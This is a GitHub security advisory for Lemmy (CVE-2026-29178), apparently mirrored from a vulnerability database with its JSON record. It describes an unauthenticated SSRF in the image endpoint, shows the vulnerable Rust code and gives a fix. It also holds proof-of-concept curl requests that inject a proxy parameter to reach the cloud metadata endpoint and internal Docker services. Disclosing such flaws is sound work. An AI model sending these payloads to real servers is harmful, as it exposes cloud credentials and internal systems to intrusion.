GHSA-JVXV-2JJP-JXC3

Vulnerability from github – Published: 2026-03-04 20:55 – Updated: 2026-03-06 22:44
VLAI?
Summary
Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint
Details

Summary

The GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs.

Affected code

crates/routes/src/images/download.rs, lines 17-40 (get_image function):

pub async fn get_image(
  filename: Path<String>,
  Query(params): Query<ImageGetParams>,
  req: HttpRequest,
  context: Data<LemmyContext>,
) -> LemmyResult<HttpResponse> {
  let name = &filename.into_inner();
  let pictrs_url = context.settings().pictrs()?.url;
  let processed_url = if params.file_type.is_none() && params.max_size.is_none() {
    format!("{}image/original/{}", pictrs_url, name)
  } else {
    let file_type = file_type(params.file_type, name);
    let mut url = format!("{}image/process.{}?src={}", pictrs_url, file_type, name);
    // ...
  };
  do_get_image(processed_url, req, &context).await
}

The file_type parameter (ImageGetParams.file_type: Option<String>) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's /image/process.{ext} endpoint supports a ?proxy={url} parameter for fetching remote images, an attacker can inject ?proxy=... via file_type to make pict-rs fetch arbitrary URLs.

This endpoint does not require authentication (no LocalUserView extractor).

PoC

# Basic SSRF - make pict-rs fetch AWS metadata endpoint
# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=
# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything

curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'

# Scan internal services on the Docker network
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'

# The same issue exists in the image_proxy endpoint, but it requires the
# proxy URL to exist in the remote_image table (RemoteImage::validate check),
# making it harder to exploit.

The response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.

Impact

An unauthenticated attacker can: - Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service - Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.) - Bypass the RemoteImage::validate() check that protects the image_proxy endpoint

Suggested Fix

Validate the file_type parameter to only allow alphanumeric characters:

fn file_type(file_type: Option<String>, name: &str) -> String {
  let ft = file_type
    .unwrap_or_else(|| name.split('.').next_back().unwrap_or("jpg").to_string());
  if ft.chars().all(|c| c.is_alphanumeric()) {
    ft
  } else {
    "jpg".to_string()
  }
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.19.15"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "lemmy_routes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.19.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:55:00Z",
    "nvd_published_at": "2026-03-06T18:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs.\n\n## Affected code\n\n`crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function):\n\n```rust\npub async fn get_image(\n  filename: Path\u003cString\u003e,\n  Query(params): Query\u003cImageGetParams\u003e,\n  req: HttpRequest,\n  context: Data\u003cLemmyContext\u003e,\n) -\u003e LemmyResult\u003cHttpResponse\u003e {\n  let name = \u0026filename.into_inner();\n  let pictrs_url = context.settings().pictrs()?.url;\n  let processed_url = if params.file_type.is_none() \u0026\u0026 params.max_size.is_none() {\n    format!(\"{}image/original/{}\", pictrs_url, name)\n  } else {\n    let file_type = file_type(params.file_type, name);\n    let mut url = format!(\"{}image/process.{}?src={}\", pictrs_url, file_type, name);\n    // ...\n  };\n  do_get_image(processed_url, req, \u0026context).await\n}\n```\n\nThe `file_type` parameter (`ImageGetParams.file_type: Option\u003cString\u003e`) is directly interpolated into the URL string without any validation or encoding. Since pict-rs\u0027s `/image/process.{ext}` endpoint supports a `?proxy={url}` parameter for fetching remote images, an attacker can inject `?proxy=...` via `file_type` to make pict-rs fetch arbitrary URLs.\n\nThis endpoint does not require authentication (no `LocalUserView` extractor).\n\n## PoC\n\n```bash\n# Basic SSRF - make pict-rs fetch AWS metadata endpoint\n# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=\n# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=?src=anything\n\ncurl -v \u0027https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D\u0027\n\n# Scan internal services on the Docker network\ncurl -v \u0027https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D\u0027\n\n# The same issue exists in the image_proxy endpoint, but it requires the\n# proxy URL to exist in the remote_image table (RemoteImage::validate check),\n# making it harder to exploit.\n```\n\nThe response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.\n\n## Impact\n\nAn unauthenticated attacker can:\n- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service\n- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)\n- Bypass the `RemoteImage::validate()` check that protects the `image_proxy` endpoint\n\n## Suggested Fix\n\nValidate the `file_type` parameter to only allow alphanumeric characters:\n\n```rust\nfn file_type(file_type: Option\u003cString\u003e, name: \u0026str) -\u003e String {\n  let ft = file_type\n    .unwrap_or_else(|| name.split(\u0027.\u0027).next_back().unwrap_or(\"jpg\").to_string());\n  if ft.chars().all(|c| c.is_alphanumeric()) {\n    ft\n  } else {\n    \"jpg\".to_string()\n  }\n}\n```",
  "id": "GHSA-jvxv-2jjp-jxc3",
  "modified": "2026-03-06T22:44:31Z",
  "published": "2026-03-04T20:55:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LemmyNet/lemmy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…